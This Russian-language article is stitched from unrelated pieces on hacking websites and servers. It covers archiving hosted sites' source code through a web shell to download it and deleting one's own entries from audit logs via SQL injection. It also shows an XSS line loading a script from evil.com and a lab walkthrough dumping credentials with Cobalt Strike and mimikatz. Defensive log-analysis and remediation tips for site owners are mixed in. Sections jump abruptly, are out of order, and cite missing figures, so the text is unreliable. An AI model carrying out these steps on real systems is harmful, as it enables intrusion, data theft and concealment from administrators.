4. Как скачать исходный код сайтов с сервера
Ах да, зачем я вдруг кинулся искать папку с правом на запись? Дело в том, что мне надо скачать файлы с исходным кодом — для дальнейшего анализа «в спокойной обстановке». Этих файлов много и скачивать их все по одному займёт много времени. Поэтому у меня план такой — запаковать все файлы в архив, а архив скачать.
Само собой, можно воспользоваться услугами папки /tmp, которая всегда открыта на запись для всех желающих. Но из папки /tmp я могу скачать только с помощью Weevely. Но если мне удастся сохранить архив в папку веб-сервера, то я могу скачать его прямо из веб-браузера или любой файловой качалкой. Это особенно актуально, если файл очень большой — может пригодиться докачка файла после разрыва соединения, что в командной строке с Weevely сделать не получится.
Понятно, что если мы в папке /var/www/XX1/tmp, то папкой веб-сервера является /var/www/. Посмотрим что там в ней:
ls -l /var/www/
А в ней папки других сайтов — в общей сложности 14 штук, но показать их я уже не могу.
Смотрим в шпаргалку, чтобы сохранить файлы в архив командой zip дополнительно нужно использовать опцию -r для рекурсивного добавления всего, что находится в папках, запускается следующим образом:
zip -r имя_нового_архива.zip каталог_для_архивации
Каталогом для архивации является /var/www/, архив я пока сохраню в директорию /tmp (а не в папку с сайтами, так как получится, что мы попытаемся сохранить архив в папке, которая добавляется в этот архив — возможно, это вызовет ошибку).
Запускаем команду:
zip -r /tmp/archive.zip /var/www/
На что мне возвращается сообщение:
sh: 1: zip: not found
Чёрт, на этом сервере не установлена программа zip. Можно воспользоваться встроенным эмулятором архивирования Weevely, но попробую ещё другую программу:
tar czf /tmp/archive.tgz /var/www/
А вот программа tar оказалась на сервере. Внутренние команды означают:
- c — создать архив
- z — алгоритм сжатия
- f — после этой опции указывается путь до архива и имя файла
Переносим архив в папку веб-сервера, где он теперь доступен для скачивания даже с помощью браузера:
mv /tmp/archive.tgz /var/www/XX1/tmp
Чтобы узнать размер всех подпапок в папке /var/www/:
du -sh /var/www/*
Если нужно скачать только некоторые папки, то это делается командой вида:
tar czf архив.tgz папка_в_архив_1 папка_в_архив_2 папка_в_архив_3 папка_в_архив_4
Я принимал меры, но как взломали сайт?
Как же на виртуальном хостинге хакер может получить доступ к другим сайтам, если все известные меры владельцем сайта предприняты? Ведь почти повсеместно доступ к площадкам сайтов разграничивается по логинам пользователей и, казалось бы, это должно обезопасить сайт от соседей.
Ограничимся одним случаем. Серьёзную опасность представляет запуск скриптов под модулем Apache, например mod_perl. Запуск скрипта в этом случае осуществляется под пользователем Apache, который имеет доступ к данным пользователей сайтов.
Хакер, как описано выше, получает доступ к площадке одного сайта. Затем осуществляется размещение консольного скрипта, например cgi-telnet. И если права на конфигурационные файлы сайтов других пользователей выставлены в 644 (или тем более 777!), из консоли несложно прочитать содержимое файлов с паролями. Но! Только если запуск perl-скрипта осуществляется под пользователем Apache, т.е. под mod_perl (аналогичная ситуация с mod_php). При работе, например, под FastCGI — такой способ не даст доступа к файлам. Защититься от этого можно, устанавливая на критически важные файлы права 600 и используя FastCGI.
Общие принципы взлома сайтов
По структуре сайты делятся на три больших класса:
- самописные (сделанные вручную на HTML, произведенные статическим генератором типа Jekyll или собранные в программе-конструкторе типа Adobe Dreamweaver);
- сделанные в онлайновых конструкторах (в основном это сайты-визитки без каких-либо баз данных и передаваемых полей);
- работающие на готовых CMS (Content Management System, системах управления контентом).
Встречаются еще самодельные CMS, созданные для конкретного сайта, но это сейчас стало редкостью — позволить себе поддержку своей системы могут только самые крупные ресурсы, и оправдать связанные с этим затраты непросто.
В основе большинства современных сайтов — готовые движки. Например, Xakep.ru не исключение: он работает на популярной системе WordPress (по крайней мере сейчас, в 2020 году).
С точки зрения атакующего, движки сайтов ничем не отличаются от других сервисов и служб. Их исходный код обычно находится в общем доступе, и любой исследователь может проанализировать его на ошибки, в том числе бреши в безопасности. Поэтому сайты на CMS редко становятся жертвами целевой атаки. Чаще их ломают массово.
Такой взлом автоматизирован и обычно протекает по следующей схеме: злоумышленник находит уязвимость (самостоятельно или просто гуглит что-то свежее). Затем он делает эксплоит или берет готовый и пишет специализированный бот. Этот бот ищет указанную дыру на всех сайтах подряд в заданном диапазоне и пытается эксплуатировать ее.
Казалось бы, для защиты от автоматических атак надо всего-то поддерживать программное обеспечение в актуальном состоянии, но в реальности CMS обрастает разными дополнениями, и уследить за всеми становится сложно.
При пентесте стоит несколько иная задача — проверить конкретный сайт на уязвимости. Об этом мы и поговорим.
Разведка веб инфраструктуры крупной компании.
Итак, приступим. Рабочая директория этого веб-приложения — , и туда нас посылает заголовок в ответе сервера со статус-кодом 302 в случае обращения к корневой директории (рис. 1).
Рис. 1. Обращение к корневой директории
При обращении к этой директории происходит еще одно перенаправление на HTTPS-версию, которая испoльзует самоподписанный сертификат (рис. 2).
Рис. 2. Перенаправление на HTTPS-версию сервиса
Как видишь, сервер отвечает статус-кодом 302 и в ответе присутствует заголовок Set-Cookie, что небезопасно: при таком алгоритме выдачи идентификатора сессии его можно перехватить во время получения идентификатора по протоколу HTTP. Для этого достаточно просто реализовать MITM-атаку (встав посередине между клиентом и сервером) и прослушать трафик.
Но спешу тебя заверить: такой фокус не проходит, потому что, когда на HTTPS-версию сервиса обращаются с идентификатором, выданным ранее по HTTP, сервер не принимaет данный идентификатор и еще раз выставляет заголовок Set-Cookie с новым идентификатором и такими же флагами.
И что такого в HTTPS-версии сервиса, как нам это помешает? А помешает нам это тем, что провести XSS-атаку с подгружаемым с HTTP-домена внешним скриптом не получится:
<script src="https://evil.com/evil.js"></script>
Если мы подгрузим такой скрипт с HTTP-домена, то более-менее современный браузeр клиента ругнется на mixed content, не загрузит и не выполнит его (рис. 3).
Рис. 3. Блокировка HTTP-контента на сайтах, использующих HTTPS
Тогда у нас не остается выбора, кроме как подгружать внешний скрипт с HTTPS-домена, но самоподписанный сертификат тут не пройдет, и нам придется покупать сертификат.
Идем дальше. При обращении к директории запрос обрабатывает скрипт , который просит нас ввести свои учетные данные (они у нас есть, для теста на проникновение была предоставлена учетная запись с административными правами, тестируем методом сеpого ящика). Так выглядит страница аутентификации (рис. 4).
Рис. 4. Страница аутентификации
Первым делом начнем с того, что узнаем как можно больше об исследуемой системе, посмотрим на эту же страницу аутентификации в raw-формате (рис. 5).
Рис. 5. Код страницы аутентификации
Какие выводы мы можем сделать на данном этапе:
- Сервер не выдает информацию о себе. Мы видим, что это Apache, но не знаем, какой версии и в какой ОС он работает (заголовок Server можно изменить, так что полностью доверять ему не стоит).
- Значение заголовка Set-Cookie говорит нам о том, что PHPSESSID (сессионный идентификатор пользователя) должен передаваться только по протоколу HTTPS (флаг ) и перехватить его, прослушивая трафик, не получится, как и получить его значение с помощью XSS (флаг ), если, конечно, на сервере запрещен метод Trace. Ведь если метод Trace доступен, тогда вoзможно провести атаку XST и считать Cookie, даже если они защищены флагом .
- Заголовoк CSP (Content Security Policy) не используется, а данная технология позволяет четко зaдать список ресурсов, с которых возможно загружать скpипты, стили, фреймы и прочее. Кстати, во второй версии CSP можно даже указать хеш-сумму скрипта, который может быть исполнен. Значит, все-таки стоит подумать об XSS.
- Объявлен тип строгого синтаксиса XHTML, поэтому забываем об атаке RPO (Relative Path Overwrite):
- Данное приложение использует библиотеку jQuery, а это значит, что XSS для нас сильно упрощается, так как мы можем использовать короткие и емкие методы jQuery (write less, do more — так вроде звучит их слоган), в случае если у нaс будет ограниченный размер полезной нагрузки.
Последовательность действий по устранению последствий
«Лечения» восстановлением из бекапа недостаточно, один раз взломав сайт, к Вам ещё вернутся. Что же делать владельцу сайта?
- Постарайтесь сразу определить, какие именно файлы были заменены, это может быть как index.php, так и файлы шаблонов, изображений и т.п.;
- Сделайте скриншоты последствий;
- Обязательно оповестите хостинг-провайдера и согласуйте свои дальнейшие действия;
- Сохраните в отдельный каталог файлы сайта, время модификации файлов в дальнейшем поможет Вам определить злоумышленика;
- Восстановите из резервной копии сайт или обратитесь для этого к хостеру;
- Скачайте логи ошибок и доступа к сайту или попросите хостера их предоставить, лучше скопировать их в отдельный каталог, чтобы не удалились при ротации логов;
- Анализ времени изменения файлов и сопоставления с записями в логах позволяют определить характер используемой уязвимости и IP-адрес злоумышленника;
- Обновите скрипты или (если это невозможно) откажитесь от использования уязвимых модулей;
- Обязательно смените все пароли доступа.
Как найти нужные данные
Начните с просмотра Лога ошибок, это может дать подсказку для поиска взлома в Логах доступа.
Если вы увидели, что кто-то пытался получить доступ к файлам, которые обычный посетитель не должен посещать, но хакер может, тогда обратите внимание на этот IP. Хакер может попытаться получить доступ к файлам .htaccess, wp-config.php, install.php и другим подобным
Пример ошибки в Логе ошибок:
AH01630: client denied by server configuration: /путь/к/вашему/сайту/.htaccess
В этом примере сервер отказал пользователю в доступе к файлу .htaccess, потому что у него не было разрешения на просмотр этого файла. Если вы не узнаете этот IP адрес, и это не ваш адрес, то это определенно попытка взлома.
Если вы не знаете свой IP адрес, узнайте его здесь, или спросите в поисковике «мой IP адрес».
Для загрузки страницы обычно требуется загрузить много компонентов — картинки, скрипты, стили, поэтому нормально видеть, что один и тот же IP получает доступ к одной странице несколько раз, как в этом примере:
Но не нормально, если один и тот же IP много раз пытается получить доступ к файлам, к которым обычно требуется получить доступ несколько раз за сессию, особенно если пользователь обращается ко всем файлам подряд и раз в несколько секунд. Если вы видите повторяющиеся запросы к одним и тем же файлам, это может говорить о том, что это хакер или хакбот.
В этом примере вы видите, что пользователь обратился к странице ~/wp-login.php в первой строке, и запрос был успешным.
После того, как загрузились все нужные файлы, пользователь был успешно авторизован и направлен на страницу Консоли в строке 5. Следующим действием администратор прошел в редактор плагинов в строке 9.
В этом примере вы видите подозрительную активность, так как не все пользователи после авторизации пойдут в редактор тем или плагинов, но хакер пойдет. Еще это значит, что хакер знает логин и пароль администратора.
Если вы видите в логе ошибок и логе доступа, что было много неудачных попыток зайти на сайт или обращений к странице восстановления пароля, и после этого вы видите удачную попытку, то вы нашли хакера, который подобрал логин и пароль для входа на сайт.
Большое количество неудачных попыток войти на сайт перед последней удачной попыткой будут иметь один из 400-х ответов сервера:
- 400 Bad Request — Ошибка синтаксиса или неверный запрос.
- 401 Unauthorized — Эта ошибка появляется, когда требуется авторизация для просмотра страницы, но она не была дана, или она недействительна.
- 403 Forbidden — аналогично с ошибкой 401, этот ответ означает, что пользователь не имеет прав для просмотра этой страницы. То есть, технически доступ разрешен, но сервер запретил доступ этому пользователю.
- 429 Too Many Requests — Слишком много запросов за определенный период времени. Обычно пользователи не видят такой ответ, такая ошибка может указывать на активность какого-то бота.
Это не весь список ошибок, которые вы можете увидеть, но смысл в том, что описание событий может дать подсказку, что произошло с сайтом.
Самая сложная часть в просмотре логов доступа — это большое количество записей, даже для маленьких сайтов. Обычный вход администратора на сайт описывается 10 событиями в журнале, даже если он больше ничего не делал, поэтому размер лога становится большим на маленьких сайтах, и очень большим — на больших.
Журнал событий сервера
Логи веб сервера могут содержать информацию или дать подсказку о том, как сайт был взломан.
Логи находятся на хостинг панели, в зависимости от используемого софта они могут называться по-разному: «Логи», «Журнал событий», «Метрики» или что-нибудь в этом роде. Обычно в этом разделе находятся 2 журнала: «Логи ошибок» и «Логи доступа». Лог ошибок сервера короче, поэтому начать можно с них, но они не показывают успешные попытки доступа.
Логи доступа содержат информацию об успешных попытках доступа, здесь больше вероятность найти следы взлома.
Записи в журнале хранятся на сервере определенное количество дней, после чего они автоматически удаляются. Скопируйте их на компьютер, пока они не были удалены с сервера.
Сохраните файлы на компьютер из хостинг панели или напрямую с сервера, и откройте в любой текстовой программе, например Notepad++ или Brackets.
Удаление действий из лога
После того как мы вошли в систему и вышли из нее с учетной записью sqli, наши действия попали в лог. Манипулировать записями в логе также возможно с помощью найденной SQLi. Для начала выведем активность пользователя sqli, выборка осуществляется также на оcнове айдишника: (рис. 38).
Рис. 38. Вывод журнала действий пользователя sqli
В логах видно, что пользователь sqli вошел в систему и вышел из нее. Такие данные нам в базе ни к чему ? (рис. 39).
Рис. 39. Удаление из журнала действия пользователя sqli
Ну и наконец, проверим, что записи удалены (рис. 40).
Рис. 40. Журнал действий пользователя sqli пуст
Результат № 2
У нас есть еще один вектор: внутренний злоумышленник, имеющий аутентификационные данные и минимальные права в приложении, может провести атаку SQLi на базу данных веб-приложения и считать из нее все данные.
SQLi в числовой параметр в условиях санитизации одинарных кавычек и знака точка с запятой знaчит, что данные мы считать сможем, докуда дотянемся, а вот — или -запросы сделать не получится. Это, конечно, не манипулирование пользователями сервиса или shell, но хоть что-то.
Дальнейшие пути развития
В нашей статье при атаке на сервер используется только SQLi, но не стоит забывать и о таких атаках, как RFI, LFI или XXE. И еще: если после сетевого сканирования ты точно знаешь версии сервисов, то обязательно посмотри, есть ли на них публичные эксплоиты, — ведь это стоит на 9-м месте в OWASP top 10.
Определение спецификации запроса на добавление пользователя
Дальнейший анализ исходных кодов выявил, что в скрипте содержится спецификация запроса на создание нового пользовaтеля (рис. 28). Имя и тип столбцов в таблице возможно узнать также и с помощью SQLi, но частые обращения к одному и тому же скрипту и SQLi в GET-параметре могут привести к компрометации исследователя, поэтому при наличии исходного кода лучше пользоваться им.
Рис. 28. Спецификация запроса на добавление пользователя
После определения необходимых полей -запроса для создания пользователя необходимо определить их валидные значения. Для этого сделаем выборку данных значений по существующему пользователю с помощью инъекции, основанной на UNION-запросе. В качестве имени пользователя выберем значение admin (рис. 29).
Рис. 29. Выборка всех полей таблицы users пользoвателя admin
Как можно получить доступ к управлению самим сервером?
Приведу один распространённый пример для Linux-систем. Аналогично, сначала необходим доступ на площадку одного сайта.
Есть несколько уязвимостей в ядре через нулевой указатель, которым подвержены десятки Linux-систем, например: Linux Kernel ‘sock_sendpage()’ NULL Pointer Dereference Vulnerability. Там же описаны и эксплоиты (осторожнее, это работает!).
Несмотря на то, что данная проблема известна давно, есть множество непропатченных серверов, в том числе и в России. Самый простой способ защиты описан, например, здесь.
Это не гарантирует 100% защиту, т.к. например при установке wine параметр mmap_min_addr может быть сброшен обратно в 0. Настоятельно рекомендуется использовать патчи, которые можно взять на странице, указанной выше, или в официальных источниках.
Обсуждение по этому вопросу велось и на хабре.
Ответственность за защиту от данных эксплоитов лежит на администраторе сервера.
С чего начать?
Прежде чем что-то делать, нужно понять, с чем мы будем иметь дело. Конечно, кое-что мы узнаем о системе, изучив ее на этапе проникновения, но теперь нужно подробнее выяснить, что именно нам может помочь подняться до root.
Какие-то вещи мы можем узнать вручную. Например, получить сведения о ядре:
Или о процессоре:
Или релиз ОС:
Можно, конечно, и дальше собирать информацию с помощью терминала, но это долго. Гораздо проще и эффективнее использовать специальные тулзы. Самые распространенные из них:
- privilege-escalation-awesome-scripts-suite (linPEAS);
- LinEnum;
- PXEnum;
- linuxprivchecker;
- SysEnum;
- linux-smart-enumeration.
Все они работают примерно по одному принципу: последовательно запускают команды bash или короткие скрипты, а вывод отправляют в stdout или лог-файл в зависимости от параметров.
Так примерно выглядит вывод подобной тулзы.
LinEnum
Resurrection flag
Но поскольку это еще не конец, вам нужно закрепиться на машине, для которой вам нужно получить хотя бы несколько рекомендаций. Поскольку мы работаем как локальный администратор, нам нужны только хеши, но такие инструменты, как mimikatz и meterpreter, блокируются антивирусной программой. Чтобы не показывать вам, как по очевидным причинам шифровать полезные данные, я использую простую рабочую нагрузку Cobalt Strike без каких-либо модификаций. Сначала запустим сервер и подключимся к нему.
Теперь необходимо создать листенер.
Вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks -> Packages -> Payload Generator.
Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.
В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.
Cobalt принимает все команды в потоке, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы обмен данными происходил мгновенно и команды выполнялись потоком, мы вставляем команду sleep 0 и затем сбрасываем хэши.
Ну и в случае чего, мы можем подключиться к хосту через WinRM.
Ну а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.
Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.
И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.
Хост 192.168.3.201 может быть удален из списка, поскольку мы уже записали его, но он упоминается как 10.13.38.17. Проведя разведку на хосте, больше не за что было держаться. Была идея посмотреть хранилище учетных данных для восстановления сохраненных учетных данных, но оба хранилища были пусты.
В конце концов я дошел до пункта “теневые копии” в своем чеклисте. И тут как раз в точку.
Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.
Пароль администратора легко находим в онлайн базах.
Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.
Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.
Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.
Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).
А теперь расшифруем учетный данные.
Мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.
Проверка
Чтобы проверить, что все получилось, входим в систему с логином и паролем (рис. 36).
Рис. 36. Аутентификация в сервисе
Как видно из рис. 37, аутентификация успешно пройдена.
Рис. 37. Аутентификация пройдена
После входа система отобразила заданное при создании имя: «Пользователь: The_SQL_injection_Bypass».
Мысли вслух
Ты спросишь: если у тебя есть не ограниченная санитизацией, типизацией и вaлидацией SQLi к базе данных сервера, то почему бы тебе просто не выложить shell или сдампить файлы? Ответ прост: пользователь СУБД, из-под которого была проведена данная SQLi, не обладает правами на доступ к файловой системе.
Бэкап
После того как я потратил еще какое-то количество времени на поиск server-side-уязвимостей, мне вдруг пришла одна очень интереcная мысль: если рабочая директория сервиса называется , то, может, ее бэкап тоже называется ? Мысль оказалась верной. В корневой директории сервера находился архив (рис. 23)!
Рис. 23. Архив с бэкапом приложения
В архиве содержался исходный код приложения, находящийся в рабочей директории проекта (рис. 24).
Рис. 24. Листинг архива
При анализе исходников были найдены две учетные записи для доступа к СУБД (рис. 25).
Рис. 25. Учетные данные для подключения к СУБД
Пользователи , и пароли к ним в открытом виде. Удаленное подключение к базе данных результатов не дало (рис. 26).
Рис. 26. Прямое подключение к СУБД
Судя по ответу СУБД, можно сделать вывoд о том, что удаленное подключение возможно только с доверенных IP-адресов.
7. Анализ добытых паролей
База данных раскрыла много интересной информации. Но самая интересная — это список пользователей с паролями.
Это важно — пользователь имеет тенденцию использовать одинаковые пароли — это отдельная уязвимость, между прочим.
Но ещё интереснее анализ всех паролей пользователей — почти все они шестизначные числа! Видимо, учётные данные генерировал и выдавал администратор. У администратора склонность создавать однотипные пароли — учтём это. То есть если придётся брут-форсить службы на этом сервисе (а нам придётся ), то я уже знаю, каким будет словарь — это будет полный список чисел из шести цифр.
Ну и вообще — если пароли одинаковые, то есть смысл поискать другие службы — вдруг туда тоже подойдут уже имеющиеся у нас логины и пароли.
Краткие выводы
Безопасность Вашего сайта — задача не только разработчика и хостера, который обязан обеспечить максимальную защищённость серверов, но и администратора сайта.
Тривиальные советы владельцу сайта:
- нигде не хранить учётные данные доступа;
- использовать длинные комплексные пароли и нестандартные логины, периодически выполнять их смену;
- своевременно обновлять скрипты с выходом обновлений;
- при выборе компонента проверять на наличие незакрытых уязвимостей;
- следить за правами на файлы скриптов и особенно критические файлы конфигурации;
- средствами веб-сервера (например, .htaccess и .ftpaccess) разрешить доступ только с Вашего IP;
- да, сохранять копирайты авторов скриптов надо, но по ним, а так же фрагментам адресной строки модулей, злоумышленники и ищут уязвимые сайты — смените хотя бы стандартные адреса обращения к скриптам;
- периодически, в том числе внешними сервисами, проверять доступность конкретных разделов сайта;
- иметь локальные бекапы сайтов.
Оценив шансы по розыску злоумышленника — можно и нужно обратиться в правоохранительные органы.